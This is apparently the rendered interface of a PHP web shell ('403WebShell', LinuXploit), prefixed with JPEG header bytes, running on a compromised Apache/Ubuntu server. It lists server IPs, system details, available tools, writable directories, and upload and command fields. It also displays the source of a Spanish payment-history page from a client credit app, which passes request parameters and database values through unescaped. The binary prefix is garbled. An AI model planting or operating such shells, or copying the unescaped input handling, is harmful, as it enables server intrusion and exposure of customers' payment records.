����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.17.156.160
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/view/paymenthistory-view.php
<?php
$client = PersonData::getById($_GET["id"]);
$total = PaymentData::sumByClientId2($client->id_cust)->total;


?>

<section class="content">
<div class="row">
  <div class="col-md-12">

    <h1>Historial de pagos y credito</h1>
    <h4>Cliente: <?php echo $client->name." ".$client->lastname; ?></h4>
    <a href="./?view=credit" class="btn btn-default"> <i class="fa fa-arrow-left"></i> Regresar</a>
    <a href="./report/paymenthistory-word.php?id=<?php echo $client->id_cust; ?>" class="btn btn-default"> <i class="fa fa-file-text"></i> Descargar Word (.docx)</a>
    <a href="./report/paymenthistory-excel.php?id=<?php echo $client->id_cust; ?>" class="btn btn-default"> <i class="fa fa-file-text"></i> Descargar Excel (.xlsx)</a>
<br><br>
    <?php

    $users = PaymentData::getAllByClientId($_GET["id"]);
    if(count($users)>0){
      // si hay usuarios
      ?>
<div class="box box-primary">
      <table class="table table-bordered table-hover">
      <thead>
      <th>Tipo</th>
      <th>Valor</th>
      <th>Saldo</th>
      <th>Fecha</th>
      <th></th>
      </thead>
	   <tr>
	   <td></td>
	   <td></td>
	   <td>$ <?php echo number_format($total,2,".",",");?></td>
	   <td>Saldo Inicial</td>
	  </tr>
      <?php
      foreach($users as $user){
        ?>
        <tr>
        <td><?php echo $user->getPaymentType()->name; ?></td>
        <td>$ <?php echo number_format(abs($user->val),2,".",",");?></td>
        <td>$ <?php echo number_format($total+$user->val,2,".",",");?></td>
        <td><?php echo $user->created_at; ?></td>
        <td style="width:230px;">
        <?php if($user->payment_type_id==2):?>
		<a href="index.php?action=delpayment&id=<?php echo $user->id;?>" class="btn btn-xs btn-danger"><i class="fa fa-trash"></i></a>
      <?php endif; ?>
        </td>
        </tr>
        <?php
        $total +=$user->val;

      }?>
      </table>
      </div>
      <?php
    }else{
      echo "<p class='alert alert-danger'>No hay Historial del cliente</p>";
    }


    ?>


  </div>
</div>
</section>

Youez - 2016 - github.com/yon3zu
LinuXploit